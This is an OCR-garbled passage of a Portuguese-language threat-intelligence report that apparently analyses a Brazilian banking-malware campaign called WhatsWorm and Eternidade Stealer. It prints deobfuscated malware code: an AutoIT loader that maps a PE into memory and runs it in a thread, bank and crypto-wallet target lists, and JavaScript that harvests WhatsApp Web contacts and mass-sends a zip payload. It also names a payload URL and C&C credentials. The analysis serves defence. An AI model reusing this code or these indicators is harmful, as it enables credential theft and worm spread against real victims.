LOCAL $V2A4C16C6D = DLLCALL ( "kernel32.d1l” , "ptr" , "GlobalAllec” , "uint" , $6PTR , "ulong_ptr” , $ITAMANHOPE )
LOCAL $PBUFFERPE = $V2A4C16C6D [ 5 ]

LOCAL $TBUFFERPE = DLLSTRUCTCREATE ( "byte[" & $ITAMANHOPE & "]" , $PBUFFERPE )
DLLSTRUCTSETDATA ( $TBUFFERPE , 261 , $V1617FA46841 )

LOCAL $TDOSHEADER = DLLSTRUCTCREATE ( $TAGIMAGE_DOS_HEADER , $PBUFFERPE )

IF DLLSTRUCTGETDATA ( $TDOSHEADER , "e_magic"” ) <> 5917957 THEMN

DLLCALL { "kernel32.d1l" , "ptr" , “"GlobalFree" , "ptr" , $PBUFFERPE )

RETURN FALSE

ENDIF

LOCAL $VADE7EE94 = DLLSTRUCTGETDATA ( $TDOSHEADER , "e lfanew™ )

LOCAL $PNTHEADERS = $PBUFFERPE + $VADE7EE94

LOCAL $TASSINATURA = DLLSTRUCTCREATE ( "uint" , $PNTHEADERS )

IF DLLSTRUCTGETDATA ( $TASSINATURA , 261 ) <> 4542469 THEN

DLLCALL { "kernel32.dll” , “ptr” , “"GlobalFree" , "ptr" , $PBUFFERPE )

RETURN FALSE

ENDIF

LOCAL $TCABECALHOARQ = DLLSTRUCTCREATE ( $TAGIMAGE_FILE_HEADER , $PNTHEADERS + 1629 )
LOCAL $VB54987BASEF = DLLSTRUCTGETDATA ( $TCABECALHOARQ , "SizeCfOptionalHeader” )
LOCAL $V36AADAEDA = DLLSTRUCTGETDATA ( $TCABECALHOARQ , "Characteristics” )

LOCAL $V2A4E@E634C2 = DLLSTRUCTGETDATA ( $TCABECALHOARQ , “NumberOfSections™ )
LOCAL $PCABECALHOOPC = $PNTHEADERS + 6149

LOCAL $TCABECALHOOPC = DLLSTRUCTCREATE ( “byte[" & $V@540870ASEF & “"]" , $PCABECALHOOPC )
LOCAL $TMAGIC = DLLSTRUCTCREATE ( "ushort™ , $PCABECALHOOPC )

LOCAL $VB2D127B9C = DLLSTRUCTGETDATA ( $TMAGIC , 261 )

IF $VB2D127B9C <> 68357 THEN

DLLCALL { "kernel32.dll” , “ptr” , "GlobalFree" , “"ptr" , $PBUFFERPE )

RETURN FALSE

ENDIF

LOCAL $TIMAGEBASE = DLLSTRUCTCREATE ( "uint" , $PCABECALHOOPC + 7173 )

LOCAL $V290CASAE = DLLSTRUCTGETDATA ( $TIMAGEBASE , 261 )

LOCAL $TSIZEOFIMAGE = DLLSTRUCTCREATE ( "uint™ , $PCABECALHOOPC + 14341 )

LOCAL $ITAMANHOTIMAGEM = DLLSTRUCTGETDATA ( $TSIZEOFIMAGE , 261 )

LOCAL $TENTRYPOINT = DLLSTRUCTCREATE ( “uint" , $PCABECALHOOPC + 4181 )

LOCAL $V2CBA2B12593 = DLLSTRUCTGETDATA ( $TENTRYPOINT , 261 )

LOCAL $V8250BDS9 - DLLCALL ( $HKERNEL32 , "ptr" , "VirtualAlloc” , "ptr” , 5 , "ulong ptr" , $ITAMANHOIMAGEM , “"dword" ,
BITOR ( $MEM COMMIT , $MEM RESERVE ) , "dword” , $PAGE_READWRITE )

IF @ERROR OR $V8250BD59 [ 5 ] = 5 THEN

DLLCALL { "kernel32.d11" , "ptr" , “"GlobalFree" , "ptr" , $PBUFFERPE )

RETURN FALSE

ENDIF

Figura 20 - Fungdo que Executa o Reflective DLL Injection

Também foi identificado que o script utiliza o svchost.exe como um método de
monitoramento da persisténcia para o payload malicioso. O script verifica se um
processo svchost.exe mais recente ainda estd em execucgao, retornando TRUE se o
processo existir, e FALSE se o processo ndo existe mais.

Isso funciona como um processo de controle do fluxo, para caso o svchost.exe
monitorado finalize, o script AutolT passa a procurar outras janelas alvos, para
reiniciar o fluxo de infecgéo.

FUNC VERIFICARPROCESSOSVCHOSTATIVO ( )

IF $VDSBOB3BCC269 - 5 THEN RETURN FALSE

IF PROCESSEXISTS ( $VDSBOB3BCC260 ) THEN RETURN TRUE

RETURN FALSE

ENDFUNC

FUNC OBTERPIDSVCHOSTMATSRECENTE ( )

LOCAL $VDE53F8DA4BD5 = PROCESSLIST ( “svchost.exe"

IF @ERROR OR $VDES3F8D@4BD5 [ 5 ] [ 5 1 - 5 THEN RETURN 5

LOCAL $VF94QD1BDS7B - 5

LOCAL $VAA2B7F59197D = 5

FOR $VB657E714363 = 261 TO $VDES3F8DE48DS [ 5] [ 5]

LOCAL $IPID - $VDES3F8D@4BDS [ $VB657E714363 ] [ 261

LOCAL $HPROCESS = DLLCALL ( $HKERNEL32 , “handle" , "OpenProcess” , "dword" , 262149 , "bool" , FALSE , "dword" , $IPID )
IF NOT @ERROR AND $HPROCESS [ 5 ] <> 5 THEN

LOCAL $TCREATIONTIME — DLLSTRUCTCREATE ( “uint64" )

LOCAL $TEXITTIME - DLLSTRUCTCREATE ( “uint64” )

LOCAL $TKERNELTIME = DLLSTRUCTCREATE ( "uint64” )

LOCAL $TUSERTIME = DLLSTRUCTCREATE ( "uint64” )

LOCAL $V113E6670B2 — DLLCALL { $HKERNEL32 , "bool” , "GetProcessTimes” , "handle” , $HPROCESS [ 5 ] , "struct*” , $TCREATIONTIME , "struct®" , $TEXITTIME , "struct*” ,
$TKERNELTIME , "struct*" , $TUSERTIME )

IF NOT @ERROR AND $V113E667682 [ 5 ] THEN

LOCAL $V82571222C3C - DLLSTRUCTGETDATA ( $TCREATIONTIME , 261 )

IF $V@2571222C3C > $VAA2B7F59197D THEN

$VAA2B7F50197D = $V@2571222C3C

$VF940D1BD57B = $IPID

ENDIF

ENDIF

DLLCALL ( $HKERNEL32 , "bool” , "CloseHandle” , “"handle" , $HPROCESS [ 5 ] )
ENDIF

NEXT

RETURN $VF948D1BD57B

ENDFUNC

Figura 21 - Monitoramento do svchost.exe
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Por fim, podemos observar todas estas funcdes sendo executadas em
sequéncia, na funcado ‘main’ do script AutolT, identificando o fluxo de sua
execucao, aonde os alvos da descriptografia e descompressao, sdo arquivos que
contém as extensodes .tda e .dmp.

FUNC CARREGARARQUIVOPE ( )

LOCAL $V2BSCE645A4 — ™"

LOCAL $V89552563828 = FILELISTTOARRAY ( @SCRIPTDIR , "*.tda” , 261 )

IF NOT @ERROR AND ISARRAY ( $VB89552563828 ) AND $V89552563828 [ 5 ] > 5 THEN
$V2BSCE645A4 - @SCRIPTDIR & "\" & $V89552563828 [ 261 ]

ELSE

$VB9552563828 = _FILELISTTOARRAY ( @SCRIPTDIR , "*.dmp” , 261 )

IF NOT @ERROR AND ISARRAY ( $VS0552563828 ) AND $V80552563828 [ 5 ] > 5 THEN
$V2B5CE645A4 = @SCRIPTDIR & "\" & $V89552563828 [ 261 ]

ENDIF

ENDIF

IF $V2BSCE645A4 = "" OR NOT FILEEXISTS ( $V2BSCEG45A4 ) THEN RETURN FALSE
LOCAL $HARQUIVO - FILEOPEN ( $V2BSCE645A4 , 4101 )

IF $HARQUIVO = + 4204067045 THEN RETURN FALSE

LOCAL $V932781BEA = FILEREAD ( $HARQUIVO )

FILECLOSE ( $MARQUIVO )

IF @ERROR THEN RETURN FALSE

LOCAL $V7B27182F3 = DESCRIPTOGRAFARDADOS ( $V9327S1BEA )

IF @ERROR OR BINARVLEN ( $V7B27182F3 ) - 5 THEN RETURN FALSE

LOCAL $VD3EQODFAFF18 = DESCOMPRIMIRDADOS ( $V7B27182F3 )

IF @ERROR OR BINARYLEN ( $VD3E99DFAFF1® ) = 5 THEN RETURN FALSE

IF CARREGARPENAMEMORIA ( $VD3EQODFAFF1@ ) THEN

SLEEP ( 512085 )

$VD5BOBIBCC260 — OBTERPIDSVCHOSTMATSRECENTE ( )

RETURN TRUE

ENDIF

RETURN FALSE

ENDFUNC

Figura 22 - Execugdo Sequencial das Fungdes Identificadas Anteriormente

Ao ter descriptografado e descomprimido os objetos do préximo estagio, o
script AutolT identifica o offset do Entry Point do Loader do préximo estagio para
que seja executado por uma Thread, por meio da WinAPI CreateThread.

LOCAL $VEBDD763D = DLLCALLADDRESS ( "bool" , $PPONTOENTRADA , “"ptr" , $PBASEIMAGEM , "uint” , 261 , “ptr" , 5 )
IF @ERROR THEN RETURM FALSE

RETURN $VEBDD763D [ 5 ]

ELSE

LOCAL $ATHREAD = DLLCALL ( $HKERMNEL32 , "handle" , "CreateThread” , "ptr" , 5 , "ulong ptr” , 5 , "ptr" , $PPONTOENTRADA ,
"ptr” , 5, "dword” , 5 , “"dword*" , 5 )

IF @ERROR OR $ATHREAD [ 5 ] = 5 THEN

DLLCALLADDRESS { "int™ , $PPONTOENTRADA )

IF @ERROR THEN RETURN FALSE

ELSE

DLLCALL { $HKERMNEL32 , "bool" , "CloseHandle" , "handle™ , $ATHREAD [ 5 ] )

ENDIF

RETURN TRUE

ENDIF

ENDFUNC

Figura 23 - Execugdo de Payload via Thread
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Abaixo é possivel observarmos a lista de Janelas Alvo do script AutolT, sendo
declaradas e tendo os itens submetidos por um loop, durante a execucgdo da
funcéo.

FUNC VERIFICARJANELAALVO ( )

LOCAL $VSE776DA73 [ ] = [ "bancodobrasil” , "autoatendimentobancodobrasil™ , “"internetbankingcaixa™ ,
"internetbankingcaixagovbr” , "nternetbankingcaixa"” ., "bancobradesco” , "bradesco” , "bradesconetempresa” ,
"nel2bradesconetempresa” , "itabba™ , “"bancoita™ , "itau" , "santander” , "sicredi” , "sicoob" , "sicoobnet" ,
"sicoobcombrsicoobnet” , "mercadopago” ., "mercadopagobrasil” , "bemvindoaoseubmg® , “bradesco” , “appbtgpactualcom” ,
"btgpactual” , "btgpactualempresas” , "appempresasbs2com” , "bs2" , "empresasbs2” , "binance" , "coinbase" , "kraken" ,
"bitstamp” , "bitfinex" , "kucoin” , “huobi®” , “navegadorexclusivobradesce” , "gateio” , "bybit" , "cryptocom”™ ,
“"mercadobitcoin™ , "foxbit" , "bitcointrade” , "novadax” , "bitpreco” , "flowbtc” , "braziliex" , “electrum” , “exodus” ,
"atomicwallet” , "trustwallet” , "metamask"” , "ledgerlive" , "trezor” , "myetherwallet” , “"mycrypto” , "blockchain® ,
“"blockchaincom” , “coinomi” , "jaxx" , "breadwallet” , "uniswap” , “pancakeswap” , "sushiswap” , "linch” , "aave” ,
“"compound” , "yearn” , "phantom” , "solflare" , “"tokenpocket" , "ledger” , "trezorio” , "keepkey" ]

LOCAL $V2BBCBF42 = WINLIST ( )

FOR $VB657E714363 = 261 TO $V2BBCEF42 [ 5 ] [ 5 ]

LOCAL $V97CFF981E = $V2BBCOF42 [ $VB657E714363 ] [ 5 ]

IF $VO7CFF981E = ™" THEN CONTINUELOOP

LOCAL $VE®1BAC928684D = STRINGLOWER ( $V9TCFFI81E )

$VEP1BAC98604D = STRINGREGEXPREPLACE ( $VE@1BAC93604D , "[~a-z8-9]" , "" )

FOR $V2BA8225CD = 5 TO UBOUND ( $VSE776DA73 ) + 42904967845

IF STRINGINSTR { $VE@1BAC98684D , $VSE776DA73 [ $V20A8225CD ] ) > 5 THEN RETURN TRUE

NEXT

NEXT

RETURN FALSE

ENDFUNC

Figura 24 Janelas Alvo do Script AutolT

E por fim, é possivel observarmos que toda a campanha tem como alvo vitimas
brasileiras conforme é possivel observar no cédigo da fungéo abaixo, aonde o script
finaliza sua execugao, se o idioma do dispositivo ndo for Portugués Brasil.

FUNC VERIFICARIDIOMAPORTUGUESBRASIL ( )
LOCAL $V3BBS8A39395F = @OSLANG

LOCAL $VB4149CB1F = "8416"

IF $V3B8A39395F <> $VB84149CB1F THEN
MSGBOX ( $MB_ICONERROR + $MB_TOPMOST , "Erro de Idioma™ , "Este programa requer gque o Windows esteja em Portugués Brasil.” &
@CRLF & @CRLF & "Idioma detectado: " & OBTERNOMEIDIOMA ( $V3B8A39395F ) & @CRLF & "Codigo: " & $V3BBA39395F & (@CRLF & @CRLF &
"0 programa sera encerrado.” , 2565 )
EXIT

ENDIF

RETURN TRUE

ENDFUNC

FUNC OBTERNOMEIDIOMA ( $V525CC16D )
SWITCH $V525CC16D

CASE "8416"

RETURN "Portugués (Brasil)”

CASE "©816"

RETURN "Portugués (Portugal)”

CASE "e48g8"

RETURN "Inglés (Estados Unidos)”

CASE "Bs8eg”

RETURN "Inglés (Reino Unido)"

CASE "B4BA"

RETURN "Espanhol (Espanha)”

CASE "BseA”

RETURN "Espanhol (México)"

CASE ELSE

RETURN "Desconhecido”

ENDSWITCH

ENDFUNC
VERIFICARIDIOMAPORTUGUESBRASIL ( )
DEFINIRDIRETORIOTRABALHO ( )
VERIFICARPRIMEIRAEXECUCAO ( )
INICIARCARREGADORPE ( )

Figura 25 - Especificando a Nacionalidade dos Alvos

heimdall Pagina 19|41

ty r are




heimdall

security research

Através da analise da légica do algoritmo de descriptografia e descompresséao,
a equipe de engenharia reversa do Heimdall Security Research desenvolveu um
scriptem Python capaz de descriptografar e descomprimir os artefatos E5LUXB.dmp
e M9FvfE.tda, conforme é possivel observar na imagem abaixo:

[+] O artefato foi descriptografado e descomprimido com sucesso. Cabecalho MZ Header identificado [+]
[+] Artefato E511XB.dmp descriptografade e descomprimido com sucesso [+]

[+] O artefato foi descriptografado e descomprimido com sucesso. Cabecalho MZ Header identificado [+]
[+] Artefato MOFvFE.tda descriptografade e descomprimido com sucesso [+]

PS | L m = = | BN analysis_script> Get-FileHash -Algorithm SHA256 ..\extracted installer.msi\MOFvfE.tda.decrypted.bin

Algorithm Hash Path

;;ﬂ_\égé- - ;;;’I;Jgﬁ5E745ECl8FlASBE?ETBDQCZCGAEBSA1GBEE5F\9€51SGBBDZGCF91588D6D 1= - = = = = = = = S i extracted_installer.msi\MOFvFE. tda.decrypted.bin
PS [ [ Y P = = analysis script> Get-FileHash -Algorithm SHA256 ..\extracted installer.msi\E511XB.dmp

Algorithm Hash Path

é;ﬂ;é;é’” I;EB;'516F3Q&SFBQlD9B4F7SABEB32933F3928254BFSQZBFESSBSBSTEEDCBBEA 1= mmll mmls mam - = = i R [extracted installer.msi\ES11XB.dmp

PS " PR, S n T analysis_script> D

Figura 26 - Descriptografia de Payloads

Abaixo é possivel observarmos a implementacao do algoritmo em Python que
desenvolvemos durante nossa analise, para descriptografar o Eternidade Stealer.

def decrypt_eternidade_stealer(data):

# C(haves 1iniciais de descriptografia identificados e extraidos no (dédigo
Desofuscado AutoIT-

# conforme é possivel observar no snippet abaixo. extraido do script AutoIT
analisado anteriormente

# seguido da nossa implementagdo em Python:

# $VBAL?FB4L4BSE = 853253 -> (853253 - 5) / 25k = 3333
# $VBO?3A205F5 = 879109 -> (879109 - 5) / 25k = 3434

# sVL5A858701 = 256005 -> (25kL005 - 5) / 25k = 1000
key_I = 3333

key_II = 343y

state = 1000

decrypted = bytearray()

# Abaixo é possivel observarmos a légica do algoritmo de descriptografia
# presente no snippet retirado do script AutoIT analisado anteriormente
# seguido da nossa implementagdo em Python:

# P = C A ((S > &) & OxFF)

# S = (C (P + S) & OxFF ) x K1 + K2) & OxFFFF

for byte in data:

p = byte A ((state >> 8) & OxFF)
decrypted.append(p)
state = (((p + state) & OxFF) % key_I + key_II) & OxFFFF

return decrypted
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O mesmo foi feito para o processo de descompressao, apds a descriptografia.
Ao identificarmos o uso do algoritmo LZNT1 pelo script AutolT, adicionamos uma
funcdo de descompressao, utilizando este algoritmo para descomprimir o payload
descriptografado, finalizando o processo de desofuscacao do Eternidade Stealere
seu Loader.

def decompress_eternidade_stealer(data):

compression_format = 2

uncompressed_size = len(data) x 20
uncompressed_buffer = ctypes.create_string_buffer(uncompressed_size)

final_size = ctypes.c_ulong(0)

ntdll = ctypes-windll.ntdll

status = ntdll.RtlDecompressBuffer(
compression_format.
uncompressed_buffera
uncompressed_size-
ctypes.c_char_p(bytes(data))a
len(data)-

ctypes-byref(final_size)

if status !'= 0O:
print(f"C'1 Falha no Processo de Desmcompressdo: {hex(status)} C!'1™)

return None
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ANALISE DO QUARTO ESTAGIO DA CAMPANHA DO
WHATSWORM

O artefato que compde o quarto estagio da campanha, consiste no binario
M9FvfE.tda que é o Loader do quinto e ultimo estagio, presente no artefato
E5UXB.dmp. Esta TTP também é observada sendo utilizada na cadeia de infecgao
do Astaroth, onde o payload final de uma cadeia de infeccdo de 5 estagios é
injetado por meio da técnica de Process Hollowing.

O Loader carrega o quinto estagio utilizando esta mesma técnica de injecao,
onde o M9FVfE.tda injeta o E5LIXB.dmp na memdria do processo svchost.exe, por
meio da técnica Process Hollowing. Internamente esta rotina é chamada de Stealth
Mode.

+ 60, 4);

[v2], 4) == 17744 )

malw_
if (!
ma

* mal w_set svchost _omd(&v75);
Figura 27 - Stealth Mode do Loader

Na sequéncia de imagens a seguir, nés podemos observar o fluxo da
implementagao da técnica de injegdo por meio do Process Hollowing, que ira
injetar o quinto estagio descriptografado, extraido e salvo no disco como
E5UXB.dmp.
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FFFFFES )

iteVirtualMel

.Ebx + 8),

+ 408, 4);

Yidr _ntd11_

.hThread) != -0x1 )

Figura 31 - Execugdo de Thread com o Payload Injetado e Identificagéo de Erros
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ANALISE DO QUINTO ESTAGIO DA CAMPANHA DO
WHATSWORM - ETERNIDADE STEALER

A implementacao do artefato ESUXB.dmp, descriptografado e descomprimido
em memoria € o estagio final desta campanha. Este final payload do Eternidade
Stealer tem padrbes de codigo semelhantes ao do Astaroth, principalmente pelo
fato de implementarem capacidades semelhantes, e utilizarem o Delphi como
linguagem de programacao do malware, o que permite observar determinadas
similaridades, ja que o cenario de Maas brasileiro contém bastante reutilizagao de
base de cédigo e de Taticas, Técnicas e Procedimentos (TTPs).

Este nome foi dado pela TrustWave, por causa da string da senha utilizada pelo
malware Eternidade103@, para se conectar com o servidor de C&C via protocolo
IMAP, por meio do enderegco de e-mail oliveriraadriano33@terra.com.br. Este
componente de comunicacdo com o servidor de C&C via IMAP, é a principal
caracteristica que nos permite diferenciar o Eternidade Stealer do Astaroth, e de
outras familias de malware do cenario brasileiro.

1map.terra.com.br”);

terra.com.br");

) = &Exceptionlist_;
) =( + 160);

)5

Figura 32 - Configuragéo de Comunicag¢do com o C&C via IMAP

O Eternidade Stealer, tem o mesmo objetivo que as demais familias de
malwares do cendrio brasileiro, de roubar credenciais bancarias da vitima,
identificando e falsificando as janelas ativas de diversos aplicativos bancarios,
com o objetivo de coletar as suas credenciais bancarias, enviando-as para o
servidor de C&C via protocolo IMAP, como observarmos na imagem anterior.

Como meétodo de ofuscacdo de suas intencdes, o Eternidade Stealer
criptografa suas strings criticas, na qual a sua rotina € chamada de maneira
. extensiva ao longo da sua execugao, tendo como chave a string ‘edit1’, permitindo
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supor que possa ser a chave padrdao que deveria ser alterada antes da sua
implementacdo durante a campanha.

)
L edit1”, &

L"edit1”, &

Figura 33 - Multiplas Chamadas a Rotina de Descriptografia de Strings

De forma resumida, o algoritmo de descriptografia implementado pelo
Eternidade Stealer funciona como um sistema de trés camadas para esconder o
texto original, sendo eles:

e O ajuste aritmético: a rotina subtrai 5 do valor do byte criptografado, com o
objetivo de implementar uma simples ofuscacdo para impedir que
ferramentas como o CyberChef possam descriptografa-las de maneira
simples.

e |Implementacao de Salt Ciclico: o Eternidade Stealer utiliza como Salt a
string MeuSaltPessoal#2024, na qual é percorrida ao longo do loop.

e Chave Ciclica: Cada byte da string criptografada € submetido a cada byte da
chave de descriptografia (edit1), mas, caso a string criptografada seja maior
que a chave, o algoritmo voltara ao inicio da chave para que a string seja
descriptografada de maneira completa.

A seguir podemos observar o cédigo de implementacgao identificada durante a

engenharia reversa.

while (

Figura 34 - Algoritmo de Descriptografia de Strings
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Através do desenvolvimento de automacéao via scripting, durante a analise foi
possivel identificar 156 strings que sao descriptografadas em tempo de execucgao,
tendo como propdsitos diversos, como comandos, configuracdes de layout de
janelas de aplicativos bancarios e strings de debug de execucao.

Eternidade Stealer String Decrypter =

Eternidade ring
Eternidad String Decrypted:

Eternidade
Eternidade

Eternidade
Eternidade ring Decrypted:

Eternidade S Encrypted String
Eternidad String Decrypted:

Eternidad Encrypte
Eternidade String Decrypted:

Eternidade Encrypted String -» @xB : 63C43847F324%348%AT3
Eternidad string Decrypted: B

Eternidade Ste Encrypte ring
Eternidade Ste String Decrypted:

Eternidad Encrypted String
Eternidad String Decrypted:

Output
Eternidade S string Decrypted:

Encrypte ring
string

Encrypte
string

Encrypte
string

Encrypte
string

Encry
string

) 148 ) 165647 74¢
completado!

fully Finished. 156/156 string: s decrypted [+]

Figura 36 - Ultimas Strings Descriptografadas
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Abaixo é possivel observarmos os comentarios introduzidos no Disassembly
de maneira automatizada via scripting, contendo as strings descriptografadas, nos
concedendo a capacidade de identificarmos o objetivo de determinado trecho de
cédigo.

) fset
string_decr

Figura 37 - Strings Descriptografadas em Comentdrios Automatizados

Abaixo, é possivel observarmos parcialmente a rotina de identificacado de
janelas de aplicativos bancarios, que nos permite identificar os bancos que sao
alvos deste ataque a vitima.

while ( 1 )
-
1
(*(* +12))( s

System:: linkproc  UStrPos santander - Ofertas para Empr

+ 12))( N
System::_ linkproc__ U "Internet banking empr rial - Santander", , 1) > e;

+ 12))( s s
::_ linkproc__ US

(= +12))(
if ( System:: linkproc

Figura 38 - Janelas de Bancos Alvos

O
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Esta rotina implementa um loop while, que ira checar se cada string esta
presente na janela identificada como de um aplicativo bancarios, que foi
identificado em execucgéo.

Abaixo podemos observar todos os aplicativos de instituigbes bancarias
identificadas durante a analise, sendo alvo de coleta de credenciais.

Banco Bradesco, Bradesco Net Empresa, Bradesco Prime,
Navegador Exclusivo Bradesco

Santander, Santander - Ofertas para Empresas, Internet
banking empresarial

Banco do Brasil, Autoatendimento Banco do Brasil, Banco do
Brasil e mais

Banco Itad, Itad Personnalité, Itad Uniclass, Itau BBA, Itau
Empresas

Cef, login caixa

Banrisul, Banrisul Home Banking, Banrisul Office Banking,
Portal Internet Banrisul

Sicoob, SicoobNet, sicoob.com.br
Sicredi

Nordeste, internet banking bnb
Banco Amazonia, banco da amazonia s.a
Banco Mercantil, banco mercantil

Tribanco, Tribanco » Para sua Empresa
BMG, Bem-vindo ao seu BMG
BTG Pactual, BTG Pactual Empresas, app.btgpactual.com

BS2, Empresas BS2, app.empresas.bs2.com

Tabela 1 - Aplicativos Bancdrios Alvos

O

heimdal!

rity r rc

Pagina 28|41




O

he

im

ty

dal

) heimdall

security research

Esta amostra do Eternidade Stealer também tem como alvos de softwares de
gerenciamento de carteiras de criptomoedas.

Binance, Coinbase, Kraken, Huobi, KuCoin, Bitfinex,
Bitstamp, OKX, Gate.io (reconstruido de te.io), Gemini,
Bybit, Bitget, Crypto.com

Mercado Bitcoin (MB), Foxbit, NovaDax, Coinext, Bitcoin
Trade, BitPreco, FlowBTC, Braziliex, CryptoBR

Metamask/Trust Wallet (reconstruido de ust wallet),

Exodus, Atomic Wallet, Electrum, Coinomi (reconstruido
de inomi), TokenPocket, Phantom, Solflare (reconstruido
de lflare), Blockchain.com (reconstruido de
ockchain.com), MyEtherWallet/Herwallet

Uniswap/SushiSwap (reconstruido de eswap/shiswap),
Yearn Finance

Ledger Live, KeepKey, Trezor (provavel alvo genérico via
strings de conexao USB/Web)

Tabela 2 - Alvos do Mundo de Cripto Moedas
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ANALISE TECNICA DO WHATSWORM

Esta ameaca nds nomeamos como WhatsWorm, que consiste em um malware
com capacidades de Worm, portanto, ele se dissemina sem a acéo direta do
adversario. Este novo malware € um script Python, possivelmente desenvolvido
com ajuda de LLMs (identificado o padrédo do uso de comentarios explicativos apds
a definicdo de uma fung¢ao), que implementa técnicas utilizadas em automacao,
por meio do uso da biblioteca Python Selenium, com o objetivo de identificar se o
usuario esta utilizando o WhatsApp Web.

Ao identificar o uso ativo do WhatsApp Web, o Worm ira coletar todos os
numeros da lista de contatos da vitima, que posteriormente serdo alvos desta
campanha, de maneira totalmente autbnoma.

O malware é relativamente simples, porém, ao ser executado ele se torna
muito competente em seu objetivo, permitindo uma campanha massiva de
Phishing via Mensagem Instantaneas no WhatsApp. A escolha do WhatsApp nao é
atoa, pois, o WhatsApp é o aplicativo de mensagem instantadnea mais utilizada por
Brasileiros. E como ja vimos anteriormente, este ator esta direcionando seu foco
para vitimas brasileiras.

O arquivo que é enviado na mensagem de Phishing nesta campanha, é armazenado
no dominio coffe-estivo[.Jcom.

f@dataclass
class ConfighApp:
"""Configuractes da aplicacdo"""
arquivo_url: str = "https://coffe-estilo.com/altor/gera.php”

limite teste: str = "@"

delay entre mensagens: str = "388"

tamanho_lote: str = "18"

filtro_contatos_excluir: str = "13135"

modo_headless: str = "false"

tempo_espera whatsapp: str = "15"

mensagem saudacao: str = "{saudacao} {nome}!"

mensagem final: str = "Segue o arquivo solicitado. Qualguer divida estou 3 disposicao!”
envio_ativo: str = "true”

navegador_preferido: str = "auto”

Figura 39 - Configuragdo do Phishing
Os navegadores suportados pelo WhatsWorm séo:

e Chrome;
e Mozilla Firefox;
e Microsoft Edge.

Durante sua execugédo o WhatsWorm envia logs para o servidor de C&C citado
anteriormente, mas para o endpoint /api/log.php, com o objetivo de manter registro
de suas atividades e de informacgdes da vitima como |ID da Sessdo, Nome do Host,
Mensagem, Detalhes e Timestamp.

O

heimdall Pagina 30|41

ty r rch



heimdall

security research

Todo o processo de aquisicdo de informacdes dos contatos no WhatsApp Web
aberto no browser, é por meio de scripts JavaScripts embutidos no WhatsWorm.

# Script para pegar contatos do WhatsApp

script_obter contatos =

return new Promise((resolve) => {
async function getContacts() {

try {
// Aguardar WPP carregar completamente
if (typeof WPP === 'undefined') {
resolve({success: false, error: 'WPP ndo carregado'});
return;
H

// Obter todos os contatos
const allContacts = await WPP.contact.list();

// Filtrar apenas contatos validos
const contacts = allContacts
Filter(c => {
// Excluir grupos, empresas e contatos invalidos
if (!c.name || !c.id) return false;
if (c.isGroup) return false;
if (c.isBusiness) return false;

-~

[/ IMPORTANTE: Excluir contatos com @lid (empresariais)
const id = c.id. serialized || c.id.user || c.id;

if (id.includes('@lid')) return false;

if (id.includes('@g.us")) return false; // grupos

if (id.includes(’@broadcast’)) return false; // listas

return true;

H
-map(c => {
const id = c.id._serialized || c.id.user + '@c.us’;
return {
numero: id,
nome: c.name || c.pushname || c.shortName || 'Sem Nome',
telefone_limpo: c.id.user,
is_contact: c.isContact,
is_saved: c.isMyContact,
is_valid: !id.includes{'@lid")
b
b

-filter(c => c.is_valid); // Filtro final

Figura 40 - Cédigo JavaScript para Coletar os Contatos da Vitima

O WhatsWom também permite outro método de extracao de contatos, por meio
de chats recentes disponivel no Front-End do navegador.

def obter_contatos_metodo_alternativo(self) -» List[Contato]:

Método alternativo para obter contatos se o primeiro falhar
self.send log(TipoLog.INFQ, “"Tentande método alternative para obter contatos™)

try:
# Script alternative mais simples
script_alternative = """
try {
// Pegar chats recentes como alternativa
const chats = WPP.chat.getAll();
const contacts = [];

for (let chat of chats) {
if (!chat.isGroup && chat.contact) {
contacts.push({

numero: chat.id._serialized || chat.id,
nome: chat.contact.name || chat.contact.pushname || chat.name || "Sem Nome®
DH
}
}
return {success: true, contacts: contacts};

} catch (e) {
return {success: false, error: e.message};

Figura 41 - Método Alternativo de Coleta de Contatos
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O mesmo é feito no processo de disseminagcdo da campanha, para os
contatos obtidos por meio do cddigo anterior, tendo a possibilidade de ser enviada
multiplas mensagens.

nviar MULTIPLOS contatos em PARALELO

script = """

var callback = arguments[arguments.length - 1];
var contatos = {json.dumps(contatos_js)}:

var mensagemFinal = '{mensagem_final_escaped}';
var nomeArquivo = ‘{nome_arquivo_escaped}’;

var arquivoBase64 = '{arquivo_base64}’;

async function enviarLote() {{
const resultados = [];

// criar arquivo uma vez sé

const binaryString = atob(arquivoBase64);

const bytes = new Uint8Array(binaryString.length);

for (let i = @; i < binaryString.length; i++) {{
bytes[i] = binaryString.charCodeAt(i);

const blob = new Blob([bytes], {{ type: ‘application/zip' }});
const file = new File([blob], nomeArquivo, {{ type: "application/zip' }});

// Enviar para TODOS os contatos EM PARALELO!
const promessas = contatos.map(async (contato) => {{
try {{
await Promise.all([
WPP.chat.sendTextMessage(contato.numero, contato.mensagemSaudacao, {{createChat: true, waitForAck: false}}),
WPP.chat.sendFileMessage(contato.numere, file, {{createChat: true, caption: "°, filename: nomeArguivo, waitForAck: falsel}}),
WPP.chat.sendTextMessage(contato.numero, mensagemFinal, {{createChat: true, waitForAck: false}})
n;
return {{ success: true, nome: contato.nome, numero: contato.numero }};
}} catch (erro) {{
return {{ success: false, nome: contato.nome, numero: contato.numero, erro: erro.message }};

il
// Executar TUDO ao mesmo tempo!
const resultados_finais = await Promise.all(promessas);

callback(resultados finais);

I3

enviarLote();

Figura 42 - Envio de Multiplas Mensagens

Desta forma o Whats\Worm torna-se um meio eficaz de espalhar a campanha de
maneira massiva, por meio do aplicativo de mensagem instantanea mais utilizado
pelos brasileiros, transformando o WhatsApp numa verdadeira ferramenta
auxiliadora para a disseminacéao eficaz de malware.
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CONCLUSAO

Nesta andlise é possivel observarmos a evolugao das campanhas dos atores
brasileiros, nos quais investem em cadeias de infecgdes com multiplas fases, com
o objetivo de confundir pesquisadores, analistas de resposta a incidentes e
softwares de detecg¢do e resposta de endpoint. As rotinas de autoexclusdo de
artefatos, dificulta a analise posterior por analistas de resposta a incidentes,
deixando um vazio na tentativa de reconstruir a linha do tempo e correlacionar
todos os objetos que compde o incidente.

Esta campanha utiliza um malware desenvolvido em Python com ajuda de
LLMs, na qual chamamos de WhatsWorm, que direciona seu ataque contra vitimas
que utilizam o WhatsApp Web, roubando contatos pessoais e utilizando-os para
espalhar a campanha em larga escala.

Como consequéncia desta campanha, os brasileiros que foram infectados,
além de terem seus dados roubados, permitiram que outras vitimas possam ser
alvos da campanha, através do vazamento destes contatos.

O uso de malwares bancarios desenvolvidos em Delphi e AutolT scripts, é
uma tendéncia dos atores brasileiros, permitindo-nos ter a certeza que esta
